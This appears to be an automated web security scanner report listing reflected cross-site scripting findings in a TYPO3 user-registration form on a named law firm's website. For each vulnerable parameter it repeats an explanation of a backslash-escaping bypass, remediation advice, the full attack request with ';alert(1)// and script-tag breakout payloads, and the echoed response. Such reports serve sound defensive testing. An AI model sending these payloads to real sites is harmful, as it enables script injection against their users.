The value of the FE%5Bfe_users%5D%5Bcity%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21752\'%3balert(1)//21ef1916b41 was submitted in the FE%5Bfe_users%5D%5Bcity%5D parameter. This input was echoed as 21752\\';alert(1)//21ef1916b41 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=321752\'%3balert(1)//21ef1916b41&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... users_form','FE[fe_users][status]',''); updateForm('fe_users_form','FE[fe_users][title]','3'); updateForm('fe_users_form','FE[fe_users][zip]','3'); updateForm('fe_users_form','FE[fe_users][city]','321752\\';alert(1)//21ef1916b41'); updateForm('fe_users_form','FE[fe_users][zone]','AL'); updateForm('fe_users_form','FE[fe_users][static_info_country]','AFG'); updateForm('fe_users_form','FE[fe_users][country]',''); updateForm( ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bcompany%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ece68\'%3balert(1)//0b41804b4b8 was submitted in the FE%5Bfe_users%5D%5Bcompany%5D parameter. This input was echoed as ece68\\';alert(1)//0b41804b4b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3ece68\'%3balert(1)//0b41804b4b8&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... form','FE[fe_users][language]',''); updateForm('fe_users_form','FE[fe_users][comments]',''); updateForm('fe_users_form','FE[fe_users][www]',''); updateForm('fe_users_form','FE[fe_users][company]','3ece68\\';alert(1)//0b41804b4b8'); updateForm('fe_users_form','FE[fe_users][image]',''); updateForm('fe_users_form','FE[fe_users][disable]','0'); updateForm('fe_users_form','FE[fe_users][date_of_birth]',''); updateForm('fe_users ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bemail%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7283e\'%3balert(1)//d945f4f3b76 was submitted in the FE%5Bfe_users%5D%5Bemail%5D parameter. This input was echoed as 7283e\\';alert(1)//d945f4f3b76 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com7283e\'%3balert(1)//d945f4f3b76&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... address]','3'); updateForm('fe_users_form','FE[fe_users][telephone]',''); updateForm('fe_users_form','FE[fe_users][fax]',''); updateForm('fe_users_form','FE[fe_users][email]','netsparker@example.com7283e\\';alert(1)//d945f4f3b76'); updateForm('fe_users_form','FE[fe_users][gender]','0'); updateForm('fe_users_form','FE[fe_users][first_name]',''); updateForm('fe_users_form','FE[fe_users][last_name]',''); updateForm('fe_users ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bgender%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1afa4\'%3balert(1)//fd66386815e was submitted in the FE%5Bfe_users%5D%5Bgender%5D parameter. This input was echoed as 1afa4\\';alert(1)//fd66386815e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=01afa4\'%3balert(1)//fd66386815e&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... [telephone]',''); updateForm('fe_users_form','FE[fe_users][fax]',''); updateForm('fe_users_form','FE[fe_users][email]','netsparker@example.com'); updateForm('fe_users_form','FE[fe_users][gender]','01afa4\\';alert(1)//fd66386815e'); updateForm('fe_users_form','FE[fe_users][first_name]',''); updateForm('fe_users_form','FE[fe_users][last_name]',''); updateForm('fe_users_form','FE[fe_users][alias]',''); updateForm('fe_users_f ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bpassword%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e75e\'%3balert(1)//0f9cda18802 was submitted in the FE%5Bfe_users%5D%5Bpassword%5D parameter. This input was echoed as 7e75e\\';alert(1)//0f9cda18802 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=37e75e\'%3balert(1)//0f9cda18802&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... <![CDATA[*/ updateForm('fe_users_form','FE[fe_users][username]','RonaldSmith'); updateForm('fe_users_form','FE[fe_users][password]','37e75e\\';alert(1)//0f9cda18802'); updateForm('fe_users_form','FE[fe_users][usergroup][]','1'); updateForm('fe_users_form','FE[fe_users][name]',''); updateForm('fe_users_form','FE[fe_users][address]','3'); updateForm('fe_users_f ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bpassword_again%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b60b0\'%3balert(1)//10f8d4d5446 was submitted in the FE%5Bfe_users%5D%5Bpassword_again%5D parameter. This input was echoed as b60b0\\';alert(1)//10f8d4d5446 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3b60b0\'%3balert(1)//10f8d4d5446&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... teForm('fe_users_form','FE[fe_users][module_sys_dmail_html]',''); updateForm('fe_users_form','FE[fe_users][tx_pdmylibrary_news_user]',''); updateForm('fe_users_form','FE[fe_users][password_again]','3b60b0\\';alert(1)//10f8d4d5446'); updateForm('fe_users_form','FE[fe_users][0]','\'"--> ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Bstatic_info_country%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ccd4\'%3balert(1)//f8c734f430 was submitted in the FE%5Bfe_users%5D%5Bstatic_info_country%5D parameter. This input was echoed as 4ccd4\\';alert(1)//f8c734f430 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG4ccd4\'%3balert(1)//f8c734f430&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... fe_users][zip]','3'); updateForm('fe_users_form','FE[fe_users][city]','3'); updateForm('fe_users_form','FE[fe_users][zone]','AL'); updateForm('fe_users_form','FE[fe_users][static_info_country]','AFG4ccd4\\';alert(1)//f8c734f430'); updateForm('fe_users_form','FE[fe_users][country]',''); updateForm('fe_users_form','FE[fe_users][language]',''); updateForm('fe_users_form','FE[fe_users][comments]',''); updateForm('fe_users_fo ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Btitle%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 107b8\'%3balert(1)//d84ea8e71ea was submitted in the FE%5Bfe_users%5D%5Btitle%5D parameter. This input was echoed as 107b8\\';alert(1)//d84ea8e71ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3107b8\'%3balert(1)//d84ea8e71ea&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... _form','FE[fe_users][last_name]',''); updateForm('fe_users_form','FE[fe_users][alias]',''); updateForm('fe_users_form','FE[fe_users][status]',''); updateForm('fe_users_form','FE[fe_users][title]','3107b8\\';alert(1)//d84ea8e71ea'); updateForm('fe_users_form','FE[fe_users][zip]','3'); updateForm('fe_users_form','FE[fe_users][city]','3'); updateForm('fe_users_form','FE[fe_users][zone]','AL'); updateForm('fe_users_form','FE[ ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Busername%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9168b\'%3balert(1)//a686935bb7e was submitted in the FE%5Bfe_users%5D%5Busername%5D parameter. This input was echoed as 9168b\\';alert(1)//a686935bb7e in the application's response.
